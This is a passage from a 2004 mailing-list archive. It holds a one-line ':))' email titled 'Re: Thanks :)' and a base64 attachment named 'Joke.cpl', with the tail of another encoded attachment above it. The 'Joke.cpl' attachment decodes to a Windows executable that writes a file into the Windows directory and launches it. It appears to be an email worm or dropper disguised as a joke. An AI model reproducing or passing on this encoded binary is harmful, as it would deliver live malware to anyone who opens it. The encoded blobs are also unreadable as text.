xLpBtUnLKuwkh1/YhNDd20EuJqJDwOZrFto/onAWNojxp51F/7c/QqDgLetzJ7lH9l2ozZEk
67cjOMr93w5wM4LKSWPVDcKbDay2PoTZwEhPz8L6mavDt4blTHvwRXr0oZe9Z42ENqSgtYKh
rHD09iXpMLaXs+WbQ7spM0T98DHdH4zpjyxGr7aBsMML2IprVwNoTIF3BdqCJGlhPCczBj6V
Sxs6A1gRL5J286NnjU/9Ai1qqGbz9hL3onZ09g0z2YPGGRgaLlBdaDsMTtwdk80zRN5Ty4Mb
6gQ3+8Y62Quri/xp7ueMZxsna2sQZ4xBrKUqWsRSdMxjoNeNR7bpnmZs2Qk1Dh9orFUWxvwR
jbSHB6wa3l561FTaFY+ARypOUD59ht/zpKew0Uq+dOv1mruB3xL2dCxa1YHhva0xBPK0wemM
IGlT8GrP+LTB7uxfulychXl9dt6qI396STeTM+Et/Gs7+4HqrvOaZ0MbXPO/Am/VSexU/YB0
hfroza9BR4F94bVG6wigKpBUDrf3O4acCd017YFHZuP3J7yeJKSyO3FpAKRq3zCOkF7tox61
I+2pStYD1twryTjpJjerq7aV3HhC418+BDtn7aEsslt670DpTKSuU14gZosxpIHwT1QYf5Qf
XVWid6BJkGaYn7hou0nU4wPPwXRZA8soAbFY70t2JEVFtgI8aasLU9m1rrysi7+YPt20fIMu
de84RhsGMQEOn5jdh/Et5pJ9TbmqlDMzLxZxLipy6Sl+ZxDIMtlD3gAU3fiDz5JTzElu/UG2
7wjIsnpNa+gu6+0ru1j7HBVi1YjiUHJWbbRYbbHb+VAr8SdBkdCSCVu2Ko3emCll1SBSedib
ilvfy9792QVilHD2WrnBYPwhhNnOMfe1930a5puDjAlTN8x6TAHetrlfvwC8czqBEaGnKR27
jL0IZzh6ZJDpMNSmB5vZDpNAgvIm+/lc/vx3JJGd9WDJUnRlai9Kk+rAefeR7JBVvyMMhP0i
2lAR1dGH7PTaBnfvvrDTOyOuDNo8Zs3/zgaxv6TB4AFFDjLvI6VECWizyQ8cZbJxhMeIoYSe
aMSKbyuxeLDHqlb0XUkqkgIvXYivtRRorxPhmSGHWa1Mm1CXTmu1Gb/Afnw7+fEYmfqw4qJp
HM/45sUgloaxDs+l3AijnUBq/1+dXNYAMPDQLa7AE9bIQEXepldnAAVY8fn9Hq2rYmncs2Cx
vs+QwS7zRa8+akDfcTHIdF8nrdnhZRHKxbKJuYm2m606KNk8GheONg3Mj/xRJf5Qfhtx5JLI
asDGBxsjaakCzKTO+2lWM7g2rbSWXZT4+zarBWBR55ylhW1mVrhFEW2up3ECjZi+miRC402o
/MQJHjKgnlVka5hJ0MsfibGASz740FB8Btpztw/r8XC5czwIObKsjnU9oUerZjX/DFkvYXCj
OpLrWev2iRel5Jlodwa1sIuupHLSHE2nluUrf0wCLaMSYPMNd9ShozIZ0KbXvXy3rjnvCuos
iqbu9EU+nv1R/UAfWQnNfOindGRHygXVXUxMo/Ml1jOJHdOFWarDuGJ2WU/7iQHl0T8JJNBu
K+jLvXFTC5Ev3/VX6sVsy22+tbj9B/X/vHsWEXT9gFU3OnplDhypAD/zgpZEKr2jZDqDIflb
xqTyHhFN9Mou9dNtUkMLAP1ESEU/6HBeCpkh3oitVl+WqCdQ0jaHvjK552HNn9myRVDN51GU
4VKeUc34G4Smf+sPLd8pJteLz6nOFgaEHg4XNCC64JypjXEx47kLQT57dT2MiqEyrFFjqnSz
1p0CNVy/yUQmUE2yeQvV8zatlgU62XUbKV3L5BghRNnvtcI8+beJ7syMKjBUVmaAogsHHN+a
9L+YpYJnnkKoHJkCHgPlnM9lXf9ZC+e/vLbpNDc0z6Loq9+3egJVL7jNNlkWztOjHY7Sb1XL
rtEwgMDH8y1QMMu935jSb+bCWBSc8gVNvjdq9WbTm3JNFEF1ZU+pFvH+ofLpg53tKPoL7wfe
Wia1Hla0untkPPqgKBoBi45yh21C+irwq0AGuGRarzEn/2SDVNAcghNRmrDoL3pWKZzBaiwQ
VVjqnYRMeznrwWAojAlLDBVMXrA2yf92FM66WggZhfIMzeUOiy/EoX6W04Go1CEkTPVOjC3r
MiVpD8FshMqHt7eoBkjnWEgtBtu4z+qH7Yxe3f+043zqxXhT9wkZnYCJnVu7PQz+TV9VB6y5
K5djq00s2AXkk7Yuwpx/1qHENUanW4ZUnolp46bbAKVh8ojnUusoRiuO4XZICOiP27MYOSKg
A02+UtjA52cD/BLESV466BlUSH+Vy4s9qj/1CUmzRW/KaAvm0iqmol01Go/nBf8QbtH87luk
uUoFMbY0H9abM6iNSKEnbvLSFcbdIo+UxS21+vV5B3rIhTg1TWEqyVjfRokx4IaEaPQ7QO8O
ljGEwzV/cVr6+d2mOAl5MMYxjIYV8REGNJCzPIhGa74pRQlL4WAjs24rNCN5Wu4/Ejwktguu
xcK+yPmvF9ocP2FQA/xTfmkzb4KD9HLU6+RKtQsQF9grJ6DFdzXhHHqtZxKrLA0hW8bPNIS4
c0KupEVI6+nUXvtMKsYjfoSFED9mhv4HNVHs5nm7JcyIEEgbybCRFs5YPQ4FfD6tKabMwS5j
JtKmOoMK50OgkO6RY6oBXkO7FrPM0ESTYa0uZPtIMtC/Wt/zgP3CDPW0bRoqrRz3ng6hJG6p
q1w4GzLQfH3gjCzIgqoV+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAgADAAAAIAAAgA4AAADAAACAAAAAAAAAAAAAAAAAAAADAAEAAABIAACAAgAAAHAA
AIADAAAAmAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAYAAAAADxAADoAgAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAEAAAAAAIgAAADo8wAAKAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA
AACwAAAAEPUAADABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAA2AAAgAAAAAAAAAAA
AAAAAAAAAQAAAAAA8AAAAED2AAAwAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAAAC
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAA
AAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAiIiIiIiIiIiI
iIiIiIiIREREREREREREAAAAAAAACE/////0mZRVVA//APAP8AhP////9JmUVVQAAPAA8A8I
T/////SZlFVUAADwAPAPCERERERERERERAD/AADwDwhP////9JmUVVQAAPAA8A8IT/////SZ
lFVUAADwAPAPCE/////0mZRVVA//AAAP8ABEREREREREREQAAAAAAAAAT/////SZlFVUCIiI
iIgHAE/////0mZRVVAMzMMzMAABP////9JmUVVQDMzDMzAAAREREREREREREAAAAAAAAAE//
///0mZRVVAMzMMzMAABP////9JmUVVQDMzDMzAAAT/////SZlFVUAAAAAAAAAERERERERERE
RAMzMMzMAABHd3d3d3d3d3QDMzDMzAAAR3d3d3d3d3d0AAAAAAAAAEAAAAAAAAAABAMzMMzM
AAAAAEREBERAREQDMzDMzAAAAAAAAAAAAAAAAAAAAAAAAAAAMzMDMzAzMwMzMMzMAAAAADMz
AzMwMzMDMzDMzAAAAAAAAAAAAAAAAAAAAAAAAAAAIiICIiAiIgIiIMzMAAAAACIiAiIgIiIC
IiDMzAAAAAAAAAAAAAAAAAAAAAAAAAAAmZmZmZmZmZmZmZmZAAAAAAAAAAAAAAAAAAAAAAAA
/////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAADAAAABwAA
AAcAAAAHAAAABwAAAAcAAAAHAAAABwAAAAcAAAAHAAAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAcoAAAAEAAAACAAAAABAAQAAAAAAIAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A
/wAAAP8A/wD//wAA////AAAAAAAAAAAARED/8A8A/wBHUAAPAA8A8EdQD/AADwDwREAADwAP
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
xAdSwja+P0NSEJe0MA3DtqIabQxkXraDA0c=

----------weochhjdcggqbucpmvqd--


From util@deuroconsult.ro  Wed Nov 10 11:11:01 2004
From: util@deuroconsult.ro (Util)
Date: Wed, 10 Nov 2004 12:11:01 +0100
Subject: [LARTC] Re: Thanks :)
Message-ID: <bkuafymyryrbnycocrj@mailman.ds9a.nl>

----------vqmhaozfbpanchuyvwos
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
:))

<br>
</body></html>

----------vqmhaozfbpanchuyvwos
Content-Type: application/octet-stream; name="Joke.cpl"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Joke.cpl"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAA+kgUEAAAAAAAAAAOAADiELAQUMAAwAAAAC
AAAAAAAAQBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAC9/AAAAAgAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADwUAAA8AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAACYFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50
ZXh0AAAAIAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA
AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAvTwAAADAAAC9PAAAADAAAAAAAAAAA
AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm
ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95
amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5
dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm
dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2
c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m
a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm
aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1
dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk
eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn
aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAADFNQAAZmV0ZXJ5dGV5Zmdl
eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA
ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk
ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz
ZGdoampoa2xrO2xramxrZ2poa2xqZ3l0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdm
aHRoaGpra2pramdoa3Vqb3VpbGhqa2poeWt1aGtmaHRkZmh0cmpnamh5cmZodHJ0anlydHJ0
aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNlZ3JkcmVkaGZ5anJ0aGpnZmRmZHN5dHJ5cnRo
ZmdiZmdoZ2draGxqa2ZoaG1mY2dmaGdoamtqbGZoZ2pramdmc2RnaGpqaGZnZmdqanV0eWl5
dWlpaXl0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdmaHRoaGpra2pramdoa3VpdXlk
ZnVqdHlrZ2pkc3dldHRlaGZnaGpnaHVneWpmZ2hmZ2h0cnRqeXJ0cnRocnR5ZWh0ZWVyZWRn
ZmRoZmRoZ2RodGRoc2VncmRyZWRoZnlqcnRoamcAeBQAAAAAAAAAAAAAEBUAAJgUAACQFAAA
AAAAAAAAAAAuFQAAsBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxBQAANIUAADgFAAA+BQAAAQV
AAAAAAAAHhUAAAAAAADEFAAA0hQAAOAUAAD4FAAABBUAAAAAAAAeFQAAAAAAAHVzZXIzMi5k
bGwAABoAQ2xvc2VIYW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlB
AACeAldyaXRlRmlsZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRl
QQBzaGVsbDMyLmRsbAAAAAAAAABVi+yDfQwBdUhoAAQAAGggFgAQ6KIAAAAzwmhhEgAQaCAW
ABDonQAAAEFoIBYAEOgmAAAAC8B0GffQagBqAGoAaCAWABBoABAAEGoA6HsAAAC4AQAAAMnC
DABVi+yDxPhTVjPbagBqAGoCagBqA2gAAADA/3UI6DkAAACQiUX4QHQjM8K+ADAAEK2SagCN
RfxQUlb/dfjoJQAAAEj/dfjoCgAAAEOLw15bycIEAMz/JZgUABD/JZwUABD/JaAUABD/JaQU
ABD/JagUABD/JbAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAATzVbNWA1azWBNYY18DX2Nfw1AjYINg42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK08AAE1a
AAABAAAAAgAAAP//AABAAAAAAAAAAEAAAAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAEAAAABQRQAATAEFAAAAAAAAAAAAAAAAAOAADwELAQAAADoAAABKAAAAAAAAAKAAAAAQ
AAAAUAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAF73AAAAAgAAAAAAAAIAAAAAABAA
ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJyiAADRAAAAAPAAAF4HAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAUAAAsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAA6AAAAAAAAujkAAAAQ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAADAAAAAAAAPIKAAAAUAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABAAADAADAAAAAAAAB1PAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAA
AAAAAAAAAFAAAACgAAAARAAAAAIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAF4HAAAA8AAA
XgcAAABGAAAAAAAAAAAAAAAAAAAgAADgYOgBAAAA6IPEBOgBAAAA6V2B7dkhQADobwIAAOjr
COsCzSD/JCSaZr5ycugBAAAAmlmNlUYiQADoAQAAAGlYZr9zZ+gqAgAAjVL56AEAAADoW2jM
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
